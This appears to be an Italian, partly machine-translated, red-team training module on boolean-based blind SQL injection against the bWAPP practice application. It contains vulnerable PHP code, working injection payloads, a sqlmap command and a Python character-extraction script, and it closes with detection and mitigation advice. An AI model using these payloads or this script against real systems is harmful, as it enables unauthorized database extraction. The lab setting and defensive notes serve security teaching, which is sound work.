Ir al contenido

📕 MANUALE DA CAMPO 3.1: BLIND SQL INJECTION (BOOLEAN-BASED)

Obiettivo: Esfiltrazione di dati bit per bit mediante inferenza di risposte Vero/Falso.

0letture

Classificazione: RED TEAM EYES ONLY

Obiettivo: Esfiltrazione di dati bit a bit tramite inferenza di risposte Vero/Falso.

Target bWAPP: SQL Injection - Blind - Boolean-Based.

MITRE ATT&CK: T1190.

Immaginiamo un login o un motore di ricerca in cui il codice è il seguente:

Ventana de terminal
$id = $_GET['id'];
$sql = "SELECT * FROM movies WHERE id = '$id'";
$result = mysqli_query($link, $sql);
if (mysqli_num_rows($result) > 0) {
echo "La película existe."; // Respuesta TRUE
} else {
echo "La película no existe."; // Respuesta FALSE
}
  • Se iniettiamo UNION SELECT, non vedremo il risultato, vedremo solo "Il film esiste".
  • Se iniettiamo qualcosa che genera un errore, la pagina potrebbe dire solo "Il film non esiste" (o nulla).

Non possiamo chiedere “Dames la versione”. Ma possiamo chiedere: “La prima lettera della versione è un numero 5?”

  • Se il server risponde "Il film esiste" -> È un SÌ.
  • Se risponde "Il film non esiste" -> È un NO.

Ripeteremo questo per ogni lettera finché non avremo ricostruito l'informazione.

2. WEAPONIZATION: COSTRUZIONE DELLA DOMANDA

Sección titulada «2. WEAPONIZATION: CONSTRUYENDO LA PREGUNTA»

Abbiamo bisogno di funzioni che taglino il testo (SUBSTRING) e convertano i caratteri in numeri ASCII (ORD o ASCII) per poter confrontare.

Passaggio 1: Verificare la cecità (True/False Test)

Sección titulada «Paso 1: Verificar la Ceguera (True/False Test)»

Per prima cosa, confermeremo di poter manipolare la logica.

  • Payload TRUE: Iron Man' AND 1=1 -- -
    • Risultato: Apparirà “Iron Man exists” (o contenuto normale).
  • Payload FALSE: Iron Man' AND 1=0 -- -
    • Risultato: “The movie does not exist” (o contenuto vuoto).

Conclusione: Se c'è una differenza visiva tra il payload TRUE e FALSE, è vulnerabile a Boolean-Based.

Passaggio 2: Indovinare la lunghezza (LENGTH)

Sección titulada «Paso 2: Adivinando la longitud (LENGTH)»

Prima di indovinare il nome del database, chiederemo quanto è lungo.

  • Domanda: “Il nome del database ha più di 5 lettere?”

  • Payload:

    Iron Man' AND length(database()) > 5 -- -
    • Se True: È maggiore di 5. Proveremo > 10.
    • Se Falso: È 5 o meno.

Passo 3: Indovinando caratteri (SUBSTRING & ASCII)

Sección titulada «Paso 3: Adivinando caracteres (SUBSTRING & ASCII)»

Andremo a indovinare la prima lettera del nome del database.

  • Domanda: “La prima lettera del nome del DB è la lettera ‘b’ (ASCII 98)?”

  • Payload:

    Iron Man' AND ascii(substring(database(),1,1)) = 98 -- -

    (Nota: substring(string, posición, longitud))

Se risponde TRUE, la prima lettera è ‘b’. Se no, proveremo con 99 (‘c’), 100 (‘d’)… Poi passeremo alla posizione 2: substring(database(),2,1).

3. AUTOMAZIONE: SCRIPTING (PYTHON) VS SQLMAP

Sección titulada «3. AUTOMATION: SCRIPTING (PYTHON) VS SQLMAP»

Farlo a mano è una follia. Un nome di 8 lettere richiede di testare centinaia di combinazioni. È qui che l'automazione diventa obbligatoria.

SQLMap lo fa automaticamente con --technique=B.

sqlmap -u "http://bwapp/sqli_4.php?title=Iron&action=search" \
--cookie="PHPSESSID=..." \
--technique=B \
--level 2 \
--dbs
  • Vedremo che SQLMap inizia a testare i caratteri velocissimamente.

L'Opzione “Red Team Pro” (Python Custom Exploit)

Sección titulada «La Opción “Red Team Pro” (Python Custom Exploit)»

A volte SQLMap è molto rumoroso o il WAF lo blocca. Uno script Python semplice ci dà il controllo totale.

Pseudocodice Logico (Binary Search): Invece di chiedere “È ‘a’? È ‘b’?”, chiederemo “È maggiore di ‘m’?”. Così scartiamo la metà dell'alfabeto di colpo.

import requests
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
target_url = "http://bwapp/sqli_4.php"
cookies = {"PHPSESSID": "tu_cookie"}
extracted_db = ""
for i in range(1, 10): # Longitud asumida
for char in charset:
payload = f"Iron Man' AND substring(database(),{i},1)='{char}' -- -"
r = requests.get(target_url, params={"title": payload, "action": "search"}, cookies=cookies)
if "The movie exists" in r.text: # Nuestra señal TRUE
extracted_db += char
print(f"[+] Found: {extracted_db}")
break

4. ESCALATION: DALLA PAZIENZA AL SUCCESSO

Sección titulada «4. ESCALADA: DE LA PACIENCIA AL ÉXITO»

In Blind SQLi, l'"escalation" è l'ottimizzazione.

  1. Binary Search: Riduci le richieste da 128 (ASCII completo) a solo 7 per carattere.
  2. DNS Exfiltration (OOB): Se Boolean è molto lento, proveremo a forzare una richiesta DNS (vedremo questo nella Fase 4) per estrarre i dati volando invece di bit per bit.

L'attacco Boolean-Based è il più rumoroso in termini di volume di richieste.

  1. Log di Accesso: Vedremo migliaia di richieste quasi identiche in secondi (AND ascii(...)).
    • ESEMPIO: /search?q=...AND ascii(sub(user,1,1))>100
  2. Ratio di Errori 200 OK: L'attaccante genera molte risposte valide (200 OK) ma con contenuto leggermente diverso. Un'analisi di entropia della risposta può rilevarlo.
  1. Messaggi di Errore Generici: Non serve più solo nascondere l'errore SQL. L'applicazione deve rispondere allo stesso modo (o con un errore generico 404/500 statico) se la query fallisce logicamente, per non dare indizi di “True/False”.
  2. Limite di Velocità: Bloccheremo l'IP se fa più di 100 richieste allo stesso endpoint in 1 minuto. Questo uccide l'estrazione Blind.
  3. WAF: Bloccheremo funzioni SQL come SUBSTRING, MID, ASCII, ORD.

Stato: Modulo 3.1 Completato. Missione: Cercheremo di indovinare manualmente la prima lettera dell'utente attuale in bWAPP usando substring(user(),1,1).